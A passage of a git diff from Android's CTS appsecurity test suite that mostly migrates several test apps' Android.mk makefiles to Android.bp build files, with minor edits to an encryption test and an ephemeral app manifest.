+            SecretKey secretKey = (SecretKey) keyStore.getKey(KEY_NAME, null);
+        } catch (UnrecoverableKeyException e) {
+            // This is correct behavior
+            return;
+        }
+        fail("Expected an UnrecoverableKeyException");
+    }
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
deleted file mode 100644
index 761fce8..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_USE_AAPT2 := true
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsClassloaderSplitApp
-
-# Tag this module as a cts test artifact
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
deleted file mode 100644
index 2383f0b..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.classloadersplitapp"
-    android:isolatedSplits="true">
-
-    <application android:label="ClassloaderSplitApp"
-                 android:classLoader="dalvik.system.PathClassLoader">
-
-        <activity android:name=".BaseActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-          </activity>
-          <receiver android:name=".BaseReceiver">
-            <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
-            </intent-filter>
-          </receiver>
-        <uses-library android:name="android.test.runner" />
-
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.classloadersplitapp" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
deleted file mode 100644
index f37be44..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_USE_AAPT2 := true
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureA
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.classloadersplitapp.feature_a
-LOCAL_AAPT_FLAGS += --package-id 0x80
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
deleted file mode 100644
index a334acf..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_a">
-
-    <application android:classLoader="dalvik.system.DelegateLastClassLoader">
-        <activity android:name=".feature_a.FeatureAActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
-            <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
-            </intent-filter>
-        </receiver>
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
deleted file mode 100644
index 3262e15..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_USE_AAPT2 := true
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureB
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp CtsClassloaderSplitAppFeatureA
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.classloadersplitapp.feature_b
-LOCAL_AAPT_FLAGS += --package-id 0x81
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
deleted file mode 100644
index 8d9ac52..0000000
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_b">
-
-    <uses-split android:name="feature_a" />
-
-    <application>
-        <activity android:name=".feature_b.FeatureBActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
-            <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
-            </intent-filter>
-        </receiver>
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
new file mode 100644
index 0000000..3426f22
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsDeclareNonRuntimePermissions",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
deleted file mode 100644
index 6af9e72..0000000
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
new file mode 100644
index 0000000..fcee875
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsDocumentClient",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey2",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
deleted file mode 100644
index 04e1870..0000000
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDocumentClient
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
new file mode 100644
index 0000000..eb4dbd3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsDocumentProvider",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
deleted file mode 100644
index a445466..0000000
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDocumentProvider
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
new file mode 100644
index 0000000..c8f4973
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsEncryptionApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
deleted file mode 100644
index 44aa242..0000000
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsEncryptionApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 38cdb3c..1d0f83e 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
-import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -57,7 +56,6 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
-    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -69,7 +67,6 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
-        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -103,9 +100,7 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        if (mKm.isKeyguardLocked()) {
-            dismissKeyguard();
-        }
+        dismissKeyguard();
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
deleted file mode 100644
index 2721a12..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
new file mode 100644
index 0000000..c3feef4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -0,0 +1,46 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsEphemeralApp1",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    platform_apis: true,
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+    min_sdk_version: "25",
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
deleted file mode 100644
index 777bd65..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
-    androidx.test.rules \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp1
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index f966b3d..7edfb9c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="com.android.cts.ephemeralapp1"
     android:targetSandboxVersion="2">
     <uses-sdk
-        android:minSdkVersion="25" />
+        android:minSdkVersion="24" android:targetSdkVersion="26" />
 
     <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
new file mode 100644
index 0000000..7cae048
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
@@ -0,0 +1,46 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsEphemeralTestsEphemeralApp2",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "cts-aia-util",
+        "androidx.test.rules",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "test_current",
+    min_sdk_version: "24",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
deleted file mode 100644
index 535d67c..0000000
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-aia-util \
